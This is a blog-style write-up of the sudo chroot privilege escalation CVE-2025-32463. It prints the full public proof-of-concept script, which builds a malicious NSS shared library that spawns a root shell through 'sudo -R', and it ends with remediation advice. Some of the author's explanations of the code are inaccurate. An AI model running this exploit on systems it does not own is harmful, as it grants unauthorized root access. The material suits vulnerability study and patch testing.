CVE-2025–32463 - Local Privilege Escalation via chroot option in Sudo

Vulnerability CVE-2025–32463

The vulnerability CVE-2025–32463 is a local privilage escellation exploit. The exploit affects the Sudo application on almost every distribution of Linux that supports Sudo versions 1.9.14 to 1.9.17 inclusive are affected. The vulnerability is quite scary as it allows a low privilege user to escalate themselves to root even if they are not in the sudoers file and or have appropriate privilege.

Sudo is a command line utility within the Linux operating systems that allows users to escalate themselves to the root level user to perform privilege actions if they have sufficient privileges to do so in the Sudoers file. Sudo’s -R (chroot) option is intended to allow the user to run a command with a user writable and user specified root directory. A change was made in Sudo 1.9.14 to resolve paths via chroot() using the user specified root directory before the Sudoers file was still being evaluated. It is possible for an attacker to trick Sudo into loading an arbitrary shared library by creating an /etc/nsswitch.conf file under the user-specified root directory, and escalate to root.

I don’t want to detract from the original researchers work as its great, and you should definitely give it a read linked below.

Original Researcher article

[embed]Stratascale Discover how the Kipling Method can help you elevate Zero Trust efforts by giving you a comprehensive view of access…www.stratascale.com

Testing the POC

This proof of concept has been released by the researcher that reported the vulnerability Rich Mirch from Stratascale Cyber Research Unit (CRU), and its a Nice and clean POC, see the Github link below.

Github POC

[embed]GitHub - pr0v3rbs/CVE-2025-32463_chwoot: Escalation of Privilege to the root through sudo binary… Escalation of Privilege to the root through sudo binary with chroot option. CVE-2025-32463 …github.com

OS

The POC comes with a docker container, however, ran the below test and one of my Kali Linux VM showed as vulnerable. So I Wanted to Test it. I do usually prefer to run POC’s manually and even kind of tinker with them so I can understand them better, that’s why where here right.

As per the POC this is the check to see if it is vulnerable, and it is as it says no such directory. at the end I will update and confirm it is no longer vulnerable and show the difference.

This is the version of Kali Linux that i am using for the test

the Version of Sudo installed, and it is one of the last vulnerable versions, awesome!

I git cloned the POC and ran the script…. actually no first i had a peek … always have a look especially running a random script from Github.

Exploit script breakdown

skip down a bit to exploit if TLDR…

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

initialization and create the local file structure in the /tmp/sudowoot.stage.XXXXXX directory for use

##--= interactive shell =--

if [ $# -eq 0 ]; then
    # If no command is provided, default to an interactive root shell.
    CMD="/bin/bash"
else
    # Otherwise, use the provided arguments as the command to execute.
    CMD="$@"

fi

Creates the interactive shell and it can also pass in arguments

# Escape the command to safely include it in a C string literal.

# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')

Details already here but escape components for use

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF

The actual exploit in c programming language, setting the woot user to be root, kind of eclipsing the current root setup.

mkdir -p woot/etc libnss_

Setting up the sub directories as the root structure for the specified version of chroot

echo "passwd: /woot1337" > woot/etc/nsswitch.conf

Create the nsswitch file we are going to use that will have the woot credential in it so we can make use of it

gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

build and execute the c code with GCC compiler

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

Escalate to root, also it is supposed to delete the /tmp files that i created but it didn't do it for me so i just removed the files manually and checked for other changes and removed them as well.

Exploit

So now we have an idea about what is going to run lets do it! as you can see from the screenshot this nice POC made quick work of it exploiting to root from a low privilege user who is not in the suborders file. it’s notable that i needed to run it at least twice as intended for it to work. I always love these kinds of exploits that just instantly allow fairly straightforward privilege escalation.

Remediation

To fix this issue you will need to update at least Sudo, tom get the fix. there is no current workaround if you are unable to upgrade for any reason at the time of writing.

no longer vulnerable check

End

Hope You enjoyed the write up and learnt something about Sudo and chroot and credit to the creators of the POC and reporting the bug, Rich Mirch and @0xm1rch on X.

[embed]Stratascale Rich Mirch currently serves as the Principal Security Consultant for Offensive Security at Stratascale. With a robust…www.stratascale.com

https://x.com/0xm1rch

Sudo page exploit details

[embed]Local Privilege Escalation via chroot option An attacker can leverage sudo's -R (--chroot) option to run arbitrary commands as root, even if they are not listed in…www.sudo.ws